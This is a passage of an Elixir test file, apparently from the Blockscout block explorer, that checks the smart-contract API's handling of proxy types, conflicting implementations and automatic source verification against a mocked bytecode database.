implementation_contract_address_hash_string <> + "5af43d3d93803e603557fd5bf3af1caf51d49b0e63d1ff7e5d4ed6ea26d15f3f9d0000000000000000000000000000000000000000000000000000000000000001000000000000000203003d" + + proxy_address = + insert(:contract_address, + contract_code: proxy_deployed_bytecode + ) + + insert(:transaction, + created_contract_address_hash: proxy_address.hash, + input: proxy_transaction_input + ) + |> with_block(status: :ok) + + correct_response = %{ + "proxy_type" => "clone_with_immutable_arguments", + "implementations" => [ + prepare_implementation(%{ + "address_hash" => implementation_contract.address_hash |> Address.checksum() |> to_string(), + "name" => implementation_contract.name + }) + ], + "deployed_bytecode" => proxy_deployed_bytecode, + "creation_bytecode" => proxy_transaction_input, + "conflicting_implementations" => nil + } + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(proxy_address.hash)}") + response = json_response(request, 200) + + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + + result_props = correct_response |> Map.keys() + + for prop <- result_props do + assert correct_response[prop] == response[prop] + end + end + + test "returns smart-contract with conflicting implementations", %{conn: conn} do + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + proxy_smart_contract = insert(:smart_contract) + implementation_smart_contract1 = insert(:smart_contract, name: "implementation1") + implementation_smart_contract2 = insert(:smart_contract, name: "implementation2") + implementation_smart_contract3 = insert(:smart_contract, name: "implementation3") + + correct_response = %{ + "proxy_type" => "eip1967", + "implementations" => [ + prepare_implementation(%{ + "address_hash" => implementation_smart_contract1.address_hash |> Address.checksum() |> to_string(), + "name" => implementation_smart_contract1.name + }) + ], + "conflicting_implementations" => [ + %{ + "proxy_type" => "eip1967", + "implementations" => [ + prepare_implementation(%{ + "address_hash" => implementation_smart_contract1.address_hash |> Address.checksum() |> to_string(), + "name" => implementation_smart_contract1.name + }) + ] + }, + %{ + "proxy_type" => "eip1822", + "implementations" => [ + prepare_implementation(%{ + "address_hash" => implementation_smart_contract3.address_hash |> Address.checksum() |> to_string() + }) + ] + }, + %{ + "proxy_type" => "eip1967_oz", + "implementations" => [ + prepare_implementation(%{ + "address_hash" => implementation_smart_contract2.address_hash |> Address.checksum() |> to_string() + }) + ] + } + ] + } + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests( + eip1967: implementation_smart_contract1.address_hash, + eip1967_oz: implementation_smart_contract2.address_hash, + eip1822: implementation_smart_contract3.address_hash + ) + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(proxy_smart_contract.address_hash)}") + response = json_response(request, 200) + + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + + result_props = correct_response |> Map.keys() + + for prop <- result_props do + assert correct_response[prop] == response[prop] + end + end + + if Application.compile_env(:explorer, :chain_type) !== :zksync do + describe "/smart-contracts/{address_hash} <> eth_bytecode_db" do + setup do + old_fetcher_env = Application.get_env(:explorer, Explorer.Chain.Fetcher.LookUpSmartContractSourcesOnDemand) + + old_verifier_env = + Application.get_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour, []) + + old_chain_id = Application.get_env(:block_scout_web, :chain_id) + + {:ok, pid} = Explorer.Chain.Fetcher.LookUpSmartContractSourcesOnDemand.start_link([]) + bypass = Bypass.open() + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Application.put_env(:block_scout_web, :chain_id, 5) + + Application.put_env( + :explorer, + Explorer.SmartContract.RustVerifierInterfaceBehaviour, + Keyword.merge( + old_verifier_env, + service_url: "http://localhost:#{bypass.port}", + enabled: true, + type: "eth_bytecode_db", + eth_bytecode_db?: true + ) + ) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.Chain.Fetcher.LookUpSmartContractSourcesOnDemand, old_fetcher_env) + Application.put_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour, old_verifier_env) + Application.put_env(:block_scout_web, :chain_id, old_chain_id) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + Bypass.down(bypass) + end) + + {:ok, bypass: bypass} + end + + test "automatically verify contract", %{conn: conn, bypass: bypass} do + eth_bytecode_response = File.read!("./test/support/fixture/smart_contract/eth_bytecode_db_search_response.json") + + address = insert(:contract_address) + + insert(:transaction, + created_contract_address_hash: address.hash, + input: + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029" + ) + |> with_block(status: :ok) + + topic = "addresses:#{address.hash}" + + {:ok, _reply, _socket} = + BlockScoutWeb.V2.UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + Bypass.expect_once(bypass, "POST", "/api/v2/bytecodes/sources_search_all", fn conn -> + Conn.resp(conn, 200, eth_bytecode_response) + end) + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(address.hash)}") + + assert_receive %Phoenix.Socket.Message{ + payload: %{}, + event: "eth_bytecode_db_lookup_started", + topic: ^topic + }, + :timer.seconds(1) + + assert_receive %Phoenix.Socket.Message{ + payload: %{}, + event: "smart_contract_was_verified", + topic: ^topic + }, + :timer.seconds(1) + + response = json_response(request, 200) + + assert response == + %{ + "proxy_type" => nil, + "implementations" => [], + "deployed_bytecode" => to_string(address.contract_code), + "creation_bytecode" => + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029", + "creation_status" => "success", + "conflicting_implementations" => nil + } + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(address.hash)}") + assert response = json_response(request, 200) + assert %{"is_verified" => true} = response + assert %{"is_verified_via_eth_bytecode_db" => true} = response + assert %{"is_partially_verified" => true} = response + assert %{"is_fully_verified" => false} = response + end + + test "automatically verify contract using search-all (ethBytecodeDbSources) endpoint", %{ + conn: conn, + bypass: bypass + } do + eth_bytecode_response = + File.read!("./test/support/fixture/smart_contract/eth_bytecode_db_search_all_local_sources_response.json") + + address = insert(:contract_address) + + insert(:transaction, + created_contract_address_hash: address.hash, + input: + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029" + ) + |> with_block(status: :ok) + + topic = "addresses:#{address.hash}" + + {:ok, _reply, _socket} = + BlockScoutWeb.V2.UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + Bypass.expect_once(bypass, "POST", "/api/v2/bytecodes/sources_search_all", fn conn -> + Conn.resp(conn, 200, eth_bytecode_response) + end) + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(address.hash)}") + + assert_receive %Phoenix.Socket.Message{ + payload: %{}, + event: "eth_bytecode_db_lookup_started", + topic: ^topic + }, + :timer.seconds(1) + + assert_receive %Phoenix.Socket.Message{ + payload: %{}, + event: "smart_contract_was_verified", + topic: ^topic + }, + :timer.seconds(1) + + response = json_response(request, 200) + + assert response == + %{ + "proxy_type" => nil, + "implementations" => [], + "deployed_bytecode" => to_string(address.contract_code), + "creation_bytecode" => + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029", + "creation_status" => "success", + "conflicting_implementations" => nil + } + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(address.hash)}") + assert response = json_response(request, 200) + assert %{"is_verified" => true} = response + assert %{"is_verified_via_eth_bytecode_db" => true} = response + assert %{"is_partially_verified" => true} = response + assert %{"is_fully_verified" => false} = response + + smart_contract = Jason.decode!(eth_bytecode_response)["ethBytecodeDbSources"] |> List.first() + assert response["compiler_settings"] == Jason.decode!(smart_contract["compilerSettings"]) + assert response["name"] == smart_contract["contractName"] + assert response["compiler_version"] == smart_contract["compilerVersion"] + assert response["file_path"] == smart_contract["fileName"] + assert response["constructor_args"] == smart_contract["constructorArguments"] + assert response["abi"] == Jason.decode!(smart_contract["abi"]) + + assert response["decoded_constructor_args"] == [ + [ + Address.checksum("0xc35DADB65012eC5796536bD9864eD8773aBc74C4"), + %{ + "internalType" => "address", + "name" => "_factory", + "type" => "address" + } + ], + [ + Address.checksum("0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6"), + %{ + "internalType" => "address", + "name" => "_WETH", + "type" => "address" + } + ] + ] + + assert response["source_code"] == smart_contract["sourceFiles"][smart_contract["fileName"]] + + assert response["external_libraries"] == [ + %{ + "address_hash" => Address.checksum("0x00000000D41867734BBee4C6863D9255b2b06aC1"), + "name" => "__CACHE_BREAKER__" + } + ] + + additional_sources = + for file_name <- Map.keys(smart_contract["sourceFiles"]), smart_contract["fileName"] != file_name do + %{ + "source_code" => smart_contract["sourceFiles"][file_name], + "file_path" => file_name + } + end + + assert response["additional_sources"] |> Enum.sort_by(fn x -> x["file_path"] end) == + additional_sources |> Enum.sort_by(fn x -> x["file_path"] end) + end + + test "automatically verify contract using search-all (sourcifySources) endpoint", %{conn: conn, bypass: bypass} do + eth_bytecode_response = + File.read!("./test/support/fixture/smart_contract/eth_bytecode_db_search_all_sourcify_sources_response.json") + + address = insert(:contract_address) + + insert(:transaction, + created_contract_address_hash: address.hash, + input: + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029" + ) + |> with_block(status: :ok) + + topic = "addresses:#{address.hash}" + + {:ok, _reply, _socket} = + BlockScoutWeb.V2.UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + Bypass.expect_once(bypass, "POST", "/api/v2/bytecodes/sources_search_all", fn conn -> + Conn.resp(conn, 200, eth_bytecode_response) + end) + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(address.hash)}") + + assert_receive %Phoenix.Socket.Message{ + payload: %{}, + event: "eth_bytecode_db_lookup_started", + topic: ^topic + }, + :timer.seconds(1) + + assert_receive %Phoenix.Socket.Message{ + payload: %{}, + event: "smart_contract_was_verified", + topic: ^topic + }, + :timer.seconds(1) + + response = json_response(request, 200) + + assert response == + %{ + "proxy_type" => nil, + "implementations" => [], + "deployed_bytecode" => to_string(address.contract_code), + "creation_bytecode" => + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029", + "creation_status" => "success", + "conflicting_implementations" => nil + } + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(address.hash)}") + assert response = json_response(request, 200) + assert %{"is_verified" => true} = response + assert %{"is_verified_via_eth_bytecode_db" => true} = response + assert %{"is_verified_via_sourcify" => true} = response + assert %{"is_partially_verified" => true} = response + assert %{"is_fully_verified" => false} = response + assert response["file_path"] == "Test.sol" + end + + test "automatically verify contract using search-all (sourcifySources with libraries) endpoint", %{ + conn: conn, + bypass: bypass + } do + eth_bytecode_response = + File.read!( + "./test/support/fixture/smart_contract/eth_bytecode_db_search_all_sourcify_sources_with_libs_response.json" + ) + + address = insert(:contract_address) + + insert(:transaction, + created_contract_address_hash: address.hash, + input: + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029" + ) + |> with_block(status: :ok) + + topic = "addresses:#{address.hash}" + + {:ok, _reply, _socket} = + BlockScoutWeb.V2.UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + Bypass.expect_once(bypass, "POST", "/api/v2/bytecodes/sources_search_all", fn conn -> + Conn.resp(conn, 200, eth_bytecode_response) + end) + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(address.hash)}") + + assert_receive %Phoenix.Socket.Message{ + payload: %{}, + event: "eth_bytecode_db_lookup_started", + topic: ^topic + }, + :timer.seconds(1) + + assert_receive %Phoenix.Socket.Message{ + payload: %{}, + event: "smart_contract_was_verified", + topic: ^topic + }, + :timer.seconds(1) + + response = json_response(request, 200) + + assert response == + %{ + "proxy_type" => nil, + "implementations" => [], + "deployed_bytecode" => to_string(address.contract_code), + "creation_bytecode" => + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029", + "creation_status" => "success", + "conflicting_implementations" => nil + } + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(address.hash)}") + assert response = json_response(request, 200) + + smart_contract = Jason.decode!(eth_bytecode_response)["sourcifySources"] |> List.first() + assert %{"is_verified" => true} = response + assert %{"is_verified_via_eth_bytecode_db" => true} = response + assert %{"is_verified_via_sourcify" => true} = response + assert %{"is_partially_verified" => true} = response + assert %{"is_fully_verified" => false} = response + assert response["file_path"] == "src/zkbob/ZkBobPool.sol" + + assert response["external_libraries"] == [ + %{ + "address_hash" => Address.checksum("0x22DE6B06544Ee5Cd907813a04bcdEd149A2f49D2"), + "name" => "lib/base58-solidity/contracts/Base58.sol:Base58" + }, + %{ + "address_hash" => Address.checksum("0x019d3788F00a7087234f3844CB1ceCe1F9982B7A"), + "name" => "src/libraries/ZkAddress.sol:ZkAddress" + } + ] + + additional_sources = + for file_name <- Map.keys(smart_contract["sourceFiles"]), smart_contract["fileName"] != file_name do + %{ + "source_code" => smart_contract["sourceFiles"][file_name], + "file_path" => file_name + } + end + + assert response["additional_sources"] |> Enum.sort_by(fn x -> x["file_path"] end) == + additional_sources |> Enum.sort_by(fn x -> x["file_path"] end) + end + + test "automatically verify contract using search-all (allianceSources) endpoint", %{conn: conn, bypass: bypass} do + eth_bytecode_response = + File.read!("./test/support/fixture/smart_contract/eth_bytecode_db_search_all_alliance_sources_response.json") + + address = insert(:contract_address) + + insert(:transaction, + created_contract_address_hash: address.hash, + input: + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029" + ) + |> with_block(status: :ok) + + topic = "addresses:#{address.hash}" + + {:ok, _reply, _socket} = + BlockScoutWeb.V2.UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + Bypass.expect_once(bypass, "POST", "/api/v2/bytecodes/sources_search_all", fn conn -> + Conn.resp(conn, 200, eth_bytecode_response) + end) + + implementation_address = insert(:address) + formatted_implementation_address_hash_string = implementation_address.hash |> Address.checksum() |> to_string() + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests(eip1967: implementation_address.hash) + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(address.hash)}") + + assert_receive %Phoenix.Socket.Message{ + payload: %{}, + event: "eth_bytecode_db_lookup_started", + topic: ^topic + }, + :timer.seconds(1) + + assert_receive %Phoenix.Socket.Message{ + payload: %{}, + event: "smart_contract_was_verified", + topic: ^topic + }, + :timer.seconds(1) + + response = json_response(request, 200) + + assert response == + %{ + "proxy_type" => "eip1967", + "implementations" => [ + prepare_implementation(%{ + "address_hash" => formatted_implementation_address_hash_string, + "name" => nil + }) + ], + "deployed_bytecode" => to_string(address.contract_code), + "creation_bytecode" => + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029", + "creation_status" => "success", + "conflicting_implementations" => nil + } + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(address.hash)}") + assert response = json_response(request, 200) + assert %{"proxy_type" => "eip1967"} = response + + assert %{ + "implementations" => [ + %{ + "address_hash" => ^formatted_implementation_address_hash_string, + "name" => nil + } + ] + } = + response + + assert %{"is_verified" => true} = response + assert %{"is_verified_via_eth_bytecode_db" => true} = response + assert %{"is_partially_verified" => true} = response + assert %{"is_verified_via_sourcify" => false} = response + assert %{"is_verified_via_verifier_alliance" => true} = response + assert %{"is_fully_verified" => false} = response + + smart_contract = Jason.decode!(eth_bytecode_response)["allianceSources"] |> List.first() + assert response["compiler_settings"] == Jason.decode!(smart_contract["compilerSettings"]) + assert response["name"] == smart_contract["contractName"] + assert response["compiler_version"] == smart_contract["compilerVersion"] + assert response["file_path"] == smart_contract["fileName"] + assert response["constructor_args"] == smart_contract["constructorArguments"] + assert response["abi"] == Jason.decode!(smart_contract["abi"]) + + assert response["source_code"] == smart_contract["sourceFiles"][smart_contract["fileName"]] + + assert response["external_libraries"] == [ + %{ + "address_hash" => Address.checksum("0x00000000D41867734BBee4C6863D9255b2b06aC1"), + "name" => "__CACHE_BREAKER__" + } + ] + + additional_sources = + for file_name <- Map.keys(smart_contract["sourceFiles"]), smart_contract["fileName"] != file_name do + %{ + "source_code" => smart_contract["sourceFiles"][file_name], + "file_path" => file_name + } + end + + assert response["additional_sources"] |> Enum.sort_by(fn x -> x["file_path"] end) == + additional_sources |> Enum.sort_by(fn x -> x["file_path"] end) + end + + test "automatically verify contract using search-all (prefer sourcify FULL match) endpoint", %{ + conn: conn, + bypass: bypass + } do + eth_bytecode_response = + File.read!( + "./test/support/fixture/smart_contract/eth_bytecode_db_search_all_alliance_sources_partial_response.json" + ) + + address = insert(:contract_address) + + insert(:transaction, + created_contract_address_hash: address.hash, + input: + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029" + ) + |> with_block(status: :ok) + + topic = "addresses:#{address.hash}" + + {:ok, _reply, _socket} = + BlockScoutWeb.V2.UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + Bypass.expect_once(bypass, "POST", "/api/v2/bytecodes/sources_search_all", fn conn -> + Conn.resp(conn, 200, eth_bytecode_response) + end) + + implementation_address = insert(:address) + formatted_implementation_address_hash_string = implementation_address.hash |> Address.checksum() |> to_string() + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests(eip1967: implementation_address.hash) + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(address.hash)}") + + assert_receive %Phoenix.Socket.Message{ + payload: %{}, + event: "eth_bytecode_db_lookup_started", + topic: ^topic + }, + :timer.seconds(1) + + assert_receive %Phoenix.Socket.Message{ + payload: %{}, + event: "smart_contract_was_verified", + topic: ^topic + }, + :timer.seconds(1) + + response = json_response(request, 200) + + assert response == + %{ + "proxy_type" => "eip1967", + "implementations" => [ + prepare_implementation(%{ + "address_hash" => formatted_implementation_address_hash_string, + "name" => nil + }) + ], + "deployed_bytecode" => to_string(address.contract_code), + "creation_bytecode" => + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029", + "creation_status" => "success", + "conflicting_implementations" => nil + } + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(address.hash)}") + assert response = json_response(request, 200) + assert %{"proxy_type" => "eip1967"} = response + + assert %{ + "implementations" => [ + %{ + "address_hash" => ^formatted_implementation_address_hash_string, + "name" => nil + } + ] + } = + response + + assert %{"is_verified" => true} = response + assert %{"is_verified_via_eth_bytecode_db" => true} = response + assert %{"is_partially_verified" => false} = response + assert %{"is_verified_via_sourcify" => true} = response + assert %{"is_verified_via_verifier_alliance" => false} = response + assert %{"is_fully_verified" => true} = response + + smart_contract = Jason.decode!(eth_bytecode_response)["sourcifySources"] |> List.first() + assert response["compiler_settings"] == Jason.decode!(smart_contract["compilerSettings"]) + assert response["name"] == smart_contract["contractName"] + assert response["compiler_version"] == smart_contract["compilerVersion"] + assert response["file_path"] == smart_contract["fileName"] + assert response["constructor_args"] == smart_contract["constructorArguments"] + assert response["abi"] == Jason.decode!(smart_contract["abi"]) + + assert response["source_code"] == smart_contract["sourceFiles"][smart_contract["fileName"]] + + assert response["external_libraries"] == [ + %{ + "address_hash" => Address.checksum("0x00000000D41867734BBee4C6863D9255b2b06aC1"), + "name" => "__CACHE_BREAKER__" + } + ] + + additional_sources = + for file_name <- Map.keys(smart_contract["sourceFiles"]), smart_contract["fileName"] != file_name do + %{ + "source_code" => smart_contract["sourceFiles"][file_name], + "file_path" => file_name + } + end + + assert response["additional_sources"] |> Enum.sort_by(fn x -> x["file_path"] end) == + additional_sources |> Enum.sort_by(fn x -> x["file_path"] end) + end + + test "automatically verify contract using search-all (take eth bytecode db FULL match) endpoint", %{ + conn: conn, + bypass: bypass + } do + eth_bytecode_response = + File.read!( + "./test/support/fixture/smart_contract/eth_bytecode_db_search_all_alliance_sources_partial_response_eth_bdb_full.json" + ) + + address = insert(:contract_address) + + insert(:transaction, + created_contract_address_hash: address.hash, + input: + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029" + ) + |> with_block(status: :ok) + + topic = "addresses:#{address.hash}" + + {:ok, _reply, _socket} = + BlockScoutWeb.V2.UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + Bypass.expect_once(bypass, "POST", "/api/v2/bytecodes/sources_search_all", fn conn -> + Conn.resp(conn, 200, eth_bytecode_response) + end) + + implementation_address = insert(:address) + formatted_implementation_address_hash_string = implementation_address.hash |> Address.checksum() |> to_string() + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests(eip1967: implementation_address.hash) + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(address.hash)}") + + assert_receive %Phoenix.Socket.Message{ + payload: %{}, + event: "eth_bytecode_db_lookup_started", + topic: ^topic + }, + :timer.seconds(1) + + assert_receive %Phoenix.Socket.Message{ + payload: %{}, + event: "smart_contract_was_verified", + topic: ^topic + }, + :timer.seconds(1) + + response = json_response(request, 200) + + assert response == + %{ + "proxy_type" => "eip1967", + "implementations" => [ + prepare_implementation(%{ + "address_hash" => formatted_implementation_address_hash_string, + "name" => nil + }) + ], + "deployed_bytecode" => to_string(address.contract_code), + "creation_bytecode" => + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029", + "creation_status" => "success", + "conflicting_implementations" => nil + } + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(address.hash)}") + assert response = json_response(request, 200) + assert %{"proxy_type" => "eip1967"} = response + + assert %{ + "implementations" => [ + %{ + "address_hash" => ^formatted_implementation_address_hash_string, + "name" => nil + } + ] + } = + response + + assert %{"is_verified" => true} = response + assert %{"is_verified_via_eth_bytecode_db" => true} = response + assert %{"is_partially_verified" => false} = response + assert %{"is_verified_via_sourcify" => false} = response + assert %{"is_verified_via_verifier_alliance" => false} = response + assert %{"is_fully_verified" => true} = response + + smart_contract = Jason.decode!(eth_bytecode_response)["ethBytecodeDbSources"] |> List.first() + assert response["compiler_settings"] == Jason.decode!(smart_contract["compilerSettings"]) + assert response["name"] == smart_contract["contractName"] + assert response["compiler_version"] == smart_contract["compilerVersion"] + assert response["file_path"] == smart_contract["fileName"] + assert response["constructor_args"] == smart_contract["constructorArguments"] + assert response["abi"] == Jason.decode!(smart_contract["abi"]) + + assert response["source_code"] == smart_contract["sourceFiles"][smart_contract["fileName"]] + + assert response["external_libraries"] == [ + %{ + "address_hash" => Address.checksum("0x00000000D41867734BBee4C6863D9255b2b06aC1"), + "name" => "__CACHE_BREAKER__" + } + ] + + additional_sources = + for file_name <- Map.keys(smart_contract["sourceFiles"]), smart_contract["fileName"] != file_name do + %{ + "source_code" => smart_contract["sourceFiles"][file_name], + "file_path" => file_name + } + end + + assert response["additional_sources"] |> Enum.sort_by(fn x -> x["file_path"] end) == + additional_sources |> Enum.sort_by(fn x -> x["file_path"] end) + end + + test "check fetch interval for LookUpSmartContractSourcesOnDemand and use sources:search endpoint since chain_id is unset", + %{conn: conn, bypass: bypass} do + Application.put_env(:block_scout_web, :chain_id, nil) + address = insert(:contract_address) + topic = "addresses:#{address.hash}" + + {:ok, _reply, _socket} = + BlockScoutWeb.V2.UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + insert(:transaction, + created_contract_address_hash: address.hash, + input: + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029" + ) + |> with_block(status: :ok) + + Application.put_env(:explorer, Explorer.Chain.Fetcher.LookUpSmartContractSourcesOnDemand, fetch_interval: 0) + + Bypass.expect_once(bypass, "POST", "/api/v2/bytecodes/sources_search", fn conn -> + Conn.resp(conn, 200, "{\"sources\": []}") + end) + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + _request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(address.hash)}") + + assert_receive %Phoenix.Socket.Message{ + payload: %{}, + event: "eth_bytecode_db_lookup_started", + topic: ^topic + }, + :timer.seconds(1) + + assert_receive %Phoenix.Socket.Message{ + payload: %{}, + event: "smart_contract_was_not_verified", + topic: ^topic + }, + :timer.seconds(1) + + :timer.sleep(10) + + Bypass.expect_once(bypass, "POST", "/api/v2/bytecodes/sources_search", fn conn -> + Conn.resp(conn, 200, "{\"sources\": []}") + end) + + _request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(address.hash)}") + + assert_receive %Phoenix.Socket.Message{ 